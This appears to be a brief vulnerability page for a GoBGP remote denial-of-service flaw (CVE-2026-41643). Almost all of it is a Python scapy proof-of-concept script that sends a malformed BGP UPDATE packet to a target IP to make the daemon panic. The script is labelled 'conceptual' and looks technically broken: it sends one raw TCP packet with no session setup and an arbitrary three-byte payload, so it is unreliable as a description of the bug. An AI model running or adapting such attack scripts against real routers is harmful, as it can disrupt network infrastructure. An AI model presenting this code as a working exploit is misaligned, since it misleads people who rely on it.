CVE-2026-41643 GoBGP远程拒绝服务漏洞

from scapy.all import * # Define the malformed BGP UPDATE packet structure # Note: This is a conceptual PoC. Actual crafting requires specific BGP header and attribute manipulation. def send_malformed_bgp(target_ip, target_port=179): # Craft a BGP marker (16 bytes) marker = b'\xff' * 16 # BGP Header: Marker (16) + Length (2) + Type (1) # Type 2 is UPDATE bgp_type = 2 # Malformed payload focusing on 4-byte AS path attribute triggering index out of range # This payload simulates the specific structure causing the panic malformed_payload = b'\x00\x00\x00' # Malformed length or path segment # Calculate total length (Header 19 + Payload) total_len = 19 + len(malformed_payload) length_field = struct.pack('!H', total_len) packet = IP(dst=target_ip)/TCP(dport=target_port, flags='PA')/Raw(load=marker + length_field + bytes([bgp_type]) + malformed_payload) print(f"[*] Sending malformed BGP packet to {target_ip}...") send(packet) if __name__ == "__main__": target = "192.168.1.100" # Replace with target GoBGP IP send_malformed_bgp(target)